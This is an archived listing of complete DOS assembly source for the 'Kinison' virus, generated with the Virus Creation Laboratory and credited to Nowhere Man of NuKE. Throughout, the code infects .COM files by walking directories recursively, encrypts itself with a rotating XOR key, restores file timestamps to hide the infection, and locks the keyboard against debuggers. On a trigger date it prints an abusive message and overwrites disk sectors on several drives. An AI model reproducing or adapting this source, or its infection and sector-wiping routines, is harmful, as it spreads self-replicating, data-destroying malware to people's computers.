home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / k / kinison.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  12.4 KB  |  420 lines

  1. ; KINISON.ASM -- Sam Kinsion Virus
  2.  
  3. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  4.  
  5. ; Written by Nowhere Man
  6.  
  7.  
  8.  
  9. virus_type    equ    0            ; Appending Virus
  10.  
  11. is_encrypted    equ    1            ; We're encrypted
  12.  
  13. tsr_virus    equ    0            ; We're not TSR
  14.  
  15.  
  16.  
  17. code        segment byte public
  18.  
  19.         assume    cs:code,ds:code,es:code,ss:code
  20.  
  21.         org    0100h
  22.  
  23.  
  24.  
  25. main        proc    near
  26.  
  27.         db    0E9h,00h,00h        ; Near jump (for compatibility)
  28.  
  29. start:        call    find_offset        ; Like a PUSH IP
  30.  
  31. find_offset:    pop    bp            ; BP holds old IP
  32.  
  33.         sub    bp,offset find_offset    ; Adjust for length of host
  34.  
  35.  
  36.  
  37.         call    encrypt_decrypt        ; Decrypt the virus
  38.  
  39.  
  40.  
  41. start_of_code    label    near
  42.  
  43.  
  44.  
  45.         lea    si,[bp + buffer]    ; SI points to original start
  46.  
  47.         mov    di,0100h        ; Push 0100h on to stack for
  48.  
  49.         push    di            ; return to main program
  50.  
  51.         movsw                ; Copy the first two bytes
  52.  
  53.         movsb                ; Copy the third byte
  54.  
  55.  
  56.  
  57.         mov    di,bp            ; DI points to start of virus
  58.  
  59.  
  60.  
  61.         mov    bp,sp            ; BP points to stack
  62.  
  63.         sub    sp,128            ; Allocate 128 bytes on stack
  64.  
  65.  
  66.  
  67.         mov    ah,02Fh            ; DOS get DTA function
  68.  
  69.         int    021h
  70.  
  71.         push    bx            ; Save old DTA address on stack
  72.  
  73.  
  74.  
  75.         mov    ah,01Ah            ; DOS set DTA function
  76.  
  77.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  78.  
  79.         int    021h
  80.  
  81.  
  82.  
  83. stop_tracing:    mov    cx,09EBh
  84.  
  85.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  86.  
  87.         jmp    $-2
  88.  
  89.         add    ah,03Bh            ; AH now equals 025h
  90.  
  91.         jmp    $-10            ; Execute the HaLT
  92.  
  93.         lea    bx,[di + null_vector]    ; BX points to new routine
  94.  
  95.         push    cs            ; Transfer CS into ES
  96.  
  97.         pop    es            ; using a PUSH/POP
  98.  
  99.         int    021h
  100.  
  101.         mov    al,1            ; Disable interrupt 1, too
  102.  
  103.         int    021h
  104.  
  105.         jmp    short skip_null        ; Hop over the loop
  106.  
  107. null_vector:    jmp    $            ; An infinite loop
  108.  
  109. skip_null:    mov    byte ptr [di + lock_keys + 1],130  ; Prefetch unchanged
  110.  
  111. lock_keys:    mov    al,128            ; Change here screws DEBUG
  112.  
  113.         out    021h,al            ; If tracing then lock keyboard
  114.  
  115.  
  116.  
  117.         call    get_day
  118.  
  119.         cmp    ax,000Bh        ; Did the function return 11?
  120.  
  121.         jne    skip00            ; If not equal, skip effect
  122.  
  123.         call    get_weekday
  124.  
  125.         cmp    ax,0005h        ; Did the function return 5?
  126.  
  127.         jne    skip00            ; If not equal, skip effect
  128.  
  129.         jmp    short strt00        ; Success -- skip jump
  130.  
  131. skip00:        jmp    end00            ; Skip the routine
  132.  
  133. strt00:        lea    si,[di + data00]    ; SI points to data
  134.  
  135.         mov    ah,0Eh            ; BIOS display char. function
  136.  
  137. display_loop:   lodsb                ; Load the next char. into AL
  138.  
  139.         or    al,al            ; Is the character a null?
  140.  
  141.         je    disp_strnend        ; If it is, exit
  142.  
  143.         int    010h            ; BIOS video interrupt
  144.  
  145.         jmp    short display_loop    ; Do the next character
  146.  
  147. disp_strnend:
  148.  
  149.  
  150.  
  151. end00:        xor    ah,ah            ; BIOS get time function
  152.  
  153.         int    01Ah
  154.  
  155.         xchg    dx,ax            ; AX holds clock ticks
  156.  
  157.         mov    cx,0003h        ; We'll divide by 3
  158.  
  159.         cwd                ; Sign-extend AX into DX:AX
  160.  
  161.         div    cx            ; Divide AX by CX
  162.  
  163.         or    dx,dx            ; Is there a remaindier?
  164.  
  165.         jne    no_infection        ; If there is then don't spread
  166.  
  167.         call    search_files        ; Find and infect a file
  168.  
  169. no_infection:
  170.  
  171.         call    get_day
  172.  
  173.         cmp    ax,000Bh        ; Did the function return 11?
  174.  
  175.         jne    skip01            ; If not equal, skip effect
  176.  
  177.         call    get_weekday
  178.  
  179.         cmp    ax,0005h        ; Did the function return 5?
  180.  
  181.         jne    skip01            ; If not equal, skip effect
  182.  
  183.         jmp    short strt01        ; Success -- skip jump
  184.  
  185. skip01:        jmp    end01            ; Skip the routine
  186.  
  187. strt01:        mov    ax,0004h        ; First argument is 4
  188.  
  189.         mov    cx,0010h        ; Second argument is 16
  190.  
  191.         cli                ; Disable interrupts (no Ctrl-C)
  192.  
  193.         cwd                ; Clear DX (start with sector 0)
  194.  
  195. trash_loop:    int    026h            ; DOS absolute write interrupt
  196.  
  197.         dec    ax            ; Select the previous disk
  198.  
  199.         cmp    ax,-1            ; Have we gone too far?
  200.  
  201.         jne    trash_loop        ; If not, repeat with new drive
  202.  
  203.         sti                ; Restore interrupts
  204.  
  205.  
  206.  
  207. end01:
  208.  
  209. com_end:    pop    dx            ; DX holds original DTA address
  210.  
  211.         mov    ah,01Ah            ; DOS set DTA function
  212.  
  213.         int    021h
  214.  
  215.  
  216.  
  217.         mov    sp,bp            ; Deallocate local buffer
  218.  
  219.  
  220.  
  221.         xor    ax,ax            ;
  222.  
  223.         mov    bx,ax            ;
  224.  
  225.         mov    cx,ax            ;
  226.  
  227.         mov    dx,ax            ; Empty out the registers
  228.  
  229.         mov    si,ax            ;
  230.  
  231.         mov    di,ax            ;
  232.  
  233.         mov    bp,ax            ;
  234.  
  235.  
  236.  
  237.         ret                ; Return to original program
  238.  
  239. main        endp
  240.  
  241.  
  242.  
  243.  
  244.  
  245.         db    09Ch,054h,068h,09Eh,06Ch
  246.  
  247.  
  248.  
  249. search_files    proc    near
  250.  
  251.         push    bp            ; Save BP
  252.  
  253.         mov    bp,sp            ; BP points to local buffer
  254.  
  255.         sub    sp,64            ; Allocate 64 bytes on stack
  256.  
  257.  
  258.  
  259.         mov    ah,047h            ; DOS get current dir function
  260.  
  261.         xor    dl,dl            ; DL holds drive # (current)
  262.  
  263.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  264.  
  265.         int    021h
  266.  
  267.  
  268.  
  269.         mov    ah,03Bh            ; DOS change directory function
  270.  
  271.         lea    dx,[di + root]        ; DX points to root directory
  272.  
  273.         int    021h
  274.  
  275.  
  276.  
  277.         call    traverse        ; Start the traversal
  278.  
  279.  
  280.  
  281.         mov    ah,03Bh            ; DOS change directory function
  282.  
  283.         lea    dx,[bp - 64]        ; DX points to old directory
  284.  
  285.         int    021h
  286.  
  287.  
  288.  
  289.         mov    sp,bp            ; Restore old stack pointer
  290.  
  291.         pop    bp            ; Restore BP
  292.  
  293.         ret                ; Return to caller
  294.  
  295.  
  296.  
  297. root        db    "\",0            ; Root directory
  298.  
  299. search_files    endp
  300.  
  301.  
  302.  
  303. traverse    proc    near
  304.  
  305.         push    bp            ; Save BP
  306.  
  307.  
  308.  
  309.         mov    ah,02Fh            ; DOS get DTA function
  310.  
  311.         int    021h
  312.  
  313.         push    bx            ; Save old DTA address
  314.  
  315.  
  316.  
  317.         mov    bp,sp            ; BP points to local buffer
  318.  
  319.         sub    sp,128            ; Allocate 128 bytes on stack
  320.  
  321.  
  322.  
  323.         mov    ah,01Ah            ; DOS set DTA function
  324.  
  325.         lea    dx,[bp - 128]        ; DX points to buffer
  326.  
  327.         int    021h
  328.  
  329.  
  330.  
  331.         mov    ah,04Eh            ; DOS find first function
  332.  
  333.         mov    cx,00010000b        ; CX holds search attributes
  334.  
  335.         lea    dx,[di + all_files]    ; DX points to "*.*"
  336.  
  337.         int    021h
  338.  
  339.         jc    leave_traverse        ; Leave if no files present
  340.  
  341.  
  342.  
  343. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  344.  
  345.         jne    another_dir        ; If not, try again
  346.  
  347.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  348.  
  349.         je    another_dir        ;If so, keep going
  350.  
  351.  
  352.  
  353.         mov    ah,03Bh            ; DOS change directory function
  354.  
  355.         lea    dx,[bp - 98]        ; DX points to new directory
  356.  
  357.         int    021h
  358.  
  359.  
  360.  
  361.         call    traverse        ; Recursively call ourself
  362.  
  363.  
  364.  
  365.         pushf                ; Save the flags
  366.  
  367.         mov    ah,03Bh            ; DOS change directory function
  368.  
  369.         lea    dx,[di + up_dir]    ; DX points to parent directory
  370.  
  371.         int    021h
  372.  
  373.         popf                ; Restore the flags
  374.  
  375.  
  376.  
  377.         jnc    done_searching        ; If we infected then exit
  378.  
  379.  
  380.  
  381. another_dir:    mov    ah,04Fh            ; DOS find next function
  382.  
  383.         int    021h
  384.  
  385.         jnc    check_dir        ; If found check the file
  386.  
  387.  
  388.  
  389. leave_traverse:
  390.  
  391.         lea    dx,[di + com_mask]    ; DX points to "*.COM"
  392.  
  393.         call    find_files        ; Try to infect a file
  394.  
  395. done_searching:    mov    sp,bp            ; Restore old stack frame
  396.  
  397.         mov    ah,01Ah            ; DOS set DTA function
  398.  
  399.         pop    dx            ; Retrieve old DTA address
  400.  
  401.         int    021h
  402.  
  403.  
  404.  
  405.         pop    bp            ; Restore BP
  406.  
  407.         ret                ; Return to caller
  408.  
  409.  
  410.  
  411. up_dir        db    "..",0            ; Parent directory name
  412.  
  413. all_files    db    "*.*",0            ; Directories to search for
  414.  
  415. com_mask    db    "*.COM",0        ; Mask for all .COM files
  416.  
  417. traverse    endp
  418.  
  419.  
  420.  
  421.         db    083h,01Dh,064h,0E6h,08Ah
  422.  
  423.  
  424.  
  425.  
  426.  
  427. find_files    proc    near
  428.  
  429.         push    bp            ; Save BP
  430.  
  431.  
  432.  
  433.         mov    ah,02Fh            ; DOS get DTA function
  434.  
  435.         int    021h
  436.  
  437.         push    bx            ; Save old DTA address
  438.  
  439.  
  440.  
  441.         mov    bp,sp            ; BP points to local buffer
  442.  
  443.         sub    sp,128            ; Allocate 128 bytes on stack
  444.  
  445.  
  446.  
  447.         push    dx            ; Save file mask
  448.  
  449.         mov    ah,01Ah            ; DOS set DTA function
  450.  
  451.         lea    dx,[bp - 128]        ; DX points to buffer
  452.  
  453.         int    021h
  454.  
  455.  
  456.  
  457.         mov    ah,04Eh            ; DOS find first file function
  458.  
  459.         mov    cx,00100111b        ; CX holds all file attributes
  460.  
  461.         pop    dx            ; Restore file mask
  462.  
  463. find_a_file:    int    021h
  464.  
  465.         jc    done_finding        ; Exit if no files found
  466.  
  467.         call    infect_file        ; Infect the file!
  468.  
  469.         jnc    done_finding        ; Exit if no error
  470.  
  471.         mov    ah,04Fh            ; DOS find next file function
  472.  
  473.         jmp    short find_a_file    ; Try finding another file
  474.  
  475.  
  476.  
  477. done_finding:    mov    sp,bp            ; Restore old stack frame
  478.  
  479.         mov    ah,01Ah            ; DOS set DTA function
  480.  
  481.         pop    dx            ; Retrieve old DTA address
  482.  
  483.         int    021h
  484.  
  485.  
  486.  
  487.         pop    bp            ; Restore BP
  488.  
  489.         ret                ; Return to caller
  490.  
  491. find_files    endp
  492.  
  493.  
  494.  
  495.         db    039h,01Ch,0DDh,0C2h,0DDh
  496.  
  497.  
  498.  
  499. infect_file    proc    near
  500.  
  501.         mov    ah,02Fh            ; DOS get DTA address function
  502.  
  503.         int    021h
  504.  
  505.         mov    si,bx            ; SI points to the DTA
  506.  
  507.  
  508.  
  509.         mov    byte ptr [di + set_carry],0  ; Assume we'll fail
  510.  
  511.  
  512.  
  513.         cmp    word ptr [si + 01Ah],(65279 - (finish - start))
  514.  
  515.         jbe    size_ok            ; If it's small enough continue
  516.  
  517.         jmp    infection_done        ; Otherwise exit
  518.  
  519.  
  520.  
  521. size_ok:    mov    ax,03D00h        ; DOS open file function, r/o
  522.  
  523.         lea    dx,[si + 01Eh]        ; DX points to file name
  524.  
  525.         int    021h
  526.  
  527.         xchg    bx,ax            ; BX holds file handle
  528.  
  529.  
  530.  
  531.         mov    ah,03Fh            ; DOS read from file function
  532.  
  533.         mov    cx,3            ; CX holds bytes to read (3)
  534.  
  535.         lea    dx,[di + buffer]    ; DX points to buffer
  536.  
  537.         int    021h
  538.  
  539.  
  540.  
  541.         mov    ax,04202h        ; DOS file seek function, EOF
  542.  
  543.         cwd                ; Zero DX _ Zero bytes from end
  544.  
  545.         mov    cx,dx            ; Zero CX /
  546.  
  547.         int    021h
  548.  
  549.  
  550.  
  551.         xchg    dx,ax            ; Faster than a PUSH AX
  552.  
  553.         mov    ah,03Eh            ; DOS close file function
  554.  
  555.         int    021h
  556.  
  557.         xchg    dx,ax            ; Faster than a POP AX
  558.  
  559.  
  560.  
  561.         sub    ax,finish - start + 3    ; Adjust AX for a valid jump
  562.  
  563.         cmp    word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  564.  
  565.         je    infection_done        ; If equal then exit
  566.  
  567.         mov    byte ptr [di + set_carry],1  ; Success -- the file is OK
  568.  
  569.         add    ax,finish - start    ; Re-adjust to make the jump
  570.  
  571.         mov    word ptr [di + new_jump + 1],ax  ; Construct jump
  572.  
  573.  
  574.  
  575.         mov    ax,04301h        ; DOS set file attrib. function
  576.  
  577.         xor    cx,cx            ; Clear all attributes
  578.  
  579.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  580.  
  581.         int    021h
  582.  
  583.  
  584.  
  585.         mov    ax,03D02h        ; DOS open file function, r/w
  586.  
  587.         int    021h
  588.  
  589.         xchg    bx,ax            ; BX holds file handle
  590.  
  591.  
  592.  
  593.         mov    ah,040h            ; DOS write to file function
  594.  
  595.         mov    cx,3            ; CX holds bytes to write (3)
  596.  
  597.         lea    dx,[di + new_jump]    ; DX points to the jump we made
  598.  
  599.         int    021h
  600.  
  601.  
  602.  
  603.         mov    ax,04202h        ; DOS file seek function, EOF
  604.  
  605.         cwd                ; Zero DX _ Zero bytes from end
  606.  
  607.         mov    cx,dx            ; Zero CX /
  608.  
  609.         int    021h
  610.  
  611.  
  612.  
  613.         push    si            ; Save SI through call
  614.  
  615.         call    encrypt_code        ; Write an encrypted copy
  616.  
  617.         pop    si            ; Restore SI
  618.  
  619.  
  620.  
  621.         mov    ax,05701h        ; DOS set file time function
  622.  
  623.         mov    cx,[si + 016h]        ; CX holds old file time
  624.  
  625.         mov    dx,[si + 018h]        ; DX holds old file date
  626.  
  627.         int    021h
  628.  
  629.  
  630.  
  631.         mov    ah,03Eh            ; DOS close file function
  632.  
  633.         int    021h
  634.  
  635.  
  636.  
  637.         mov    ax,04301h        ; DOS set file attrib. function
  638.  
  639.         xor    ch,ch            ; Clear CH for file attribute
  640.  
  641.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  642.  
  643.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  644.  
  645.         int    021h
  646.  
  647.  
  648.  
  649. infection_done:    cmp    byte ptr [di + set_carry],1  ; Set carry flag if failed
  650.  
  651.         ret                ; Return to caller
  652.  
  653.  
  654.  
  655. set_carry    db    ?            ; Set-carry-on-exit flag
  656.  
  657. buffer        db    090h,0CDh,020h        ; Buffer to hold old three bytes
  658.  
  659. new_jump    db    0E9h,?,?        ; New jump to virus
  660.  
  661. infect_file    endp
  662.  
  663.  
  664.  
  665.  
  666.  
  667.         db    087h,04Ch,0B3h,047h,001h
  668.  
  669.  
  670.  
  671. get_day         proc    near
  672.  
  673.         mov    ah,02Ah            ; DOS get date function
  674.  
  675.         int    021h
  676.  
  677.         mov    al,dl            ; Copy day into AL
  678.  
  679.         cbw                ; Sign-extend AL into AX
  680.  
  681.         ret                ; Return to caller
  682.  
  683. get_day         endp
  684.  
  685.  
  686.  
  687.         db    0FFh,024h,0C3h,092h,07Fh
  688.  
  689.  
  690.  
  691. get_weekday     proc    near
  692.  
  693.         mov    ah,02Ah            ; DOS get date function
  694.  
  695.         int    021h
  696.  
  697.         cbw                ; Sign-extend AL into AX
  698.  
  699.         ret                ; Return to caller
  700.  
  701. get_weekday     endp
  702.  
  703.  
  704.  
  705. data00        db      7,7,7,"DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0
  706.  
  707.  
  708.  
  709. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  710.  
  711.  
  712.  
  713.  
  714.  
  715. note        db    "This *VIRUS* is dedecated to t"
  716.  
  717.         db    "he memory of Sam Kinsion, 1954"
  718.  
  719.         db    "-1992",0
  720.  
  721.         db    "[Kinison]",0
  722.  
  723.         db    "Nowhere Man, [NuKE] '92",0
  724.  
  725.  
  726.  
  727. encrypt_code    proc    near
  728.  
  729.         push    bp            ; Save BP
  730.  
  731.         mov    bp,di            ; Use BP as pointer to code
  732.  
  733.         lea    si,[bp + encrypt_decrypt]; SI points to cipher routine
  734.  
  735.  
  736.  
  737.         xor    ah,ah            ; BIOS get time function
  738.  
  739.         int    01Ah
  740.  
  741.         mov    word ptr [si + 9],dx    ; Low word of timer is new key
  742.  
  743.  
  744.  
  745.         xor    byte ptr [si + 1],8    ;
  746.  
  747.         xor    byte ptr [si + 8],1    ; Change all SIs to DIs
  748.  
  749.         xor    word ptr [si + 11],0101h; (and vice-versa)
  750.  
  751.  
  752.  
  753.         lea    di,[bp + finish]    ; Copy routine into heap
  754.  
  755.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  756.  
  757.         push    si            ; Save SI for later
  758.  
  759.         push    cx            ; Save CX for later
  760.  
  761.     rep    movsb                ; Copy the bytes
  762.  
  763.  
  764.  
  765.         lea    si,[bp + write_stuff]    ; SI points to write stuff
  766.  
  767.         mov    cx,5            ; CX holds length of write
  768.  
  769.     rep    movsb                ; Copy the bytes
  770.  
  771.  
  772.  
  773.         pop    cx            ; Restore CX
  774.  
  775.         pop    si            ; Restore SI
  776.  
  777.         inc    cx            ; Copy the RET also this time
  778.  
  779.     rep    movsb                ; Copy the routine again
  780.  
  781.  
  782.  
  783.         mov    ah,040h            ; DOS write to file function
  784.  
  785.         lea    dx,[bp + start]        ; DX points to virus
  786.  
  787.  
  788.  
  789.         lea    si,[bp + finish]    ; SI points to routine
  790.  
  791.         call    si            ; Encrypt/write/decrypt
  792.  
  793.  
  794.  
  795.         mov    di,bp            ; DI points to virus again
  796.  
  797.         pop    bp            ; Restore BP
  798.  
  799.         ret                ; Return to caller
  800.  
  801.  
  802.  
  803. write_stuff:    mov    cx,finish - start    ; Length of code
  804.  
  805.         int    021h
  806.  
  807. encrypt_code    endp
  808.  
  809.  
  810.  
  811. end_of_code    label    near
  812.  
  813.  
  814.  
  815. encrypt_decrypt    proc    near
  816.  
  817.         lea    si,[bp + start_of_code] ; SI points to code to decrypt
  818.  
  819.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  820.  
  821. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  822.  
  823.         inc    si            ; Do the next word
  824.  
  825.         inc    si            ;
  826.  
  827.         loop    xor_loop        ; Loop until we're through
  828.  
  829.         ret                ; Return to caller
  830.  
  831. encrypt_decrypt    endp
  832.  
  833. finish        label    near
  834.  
  835.  
  836.  
  837. code        ends
  838.  
  839.         end    main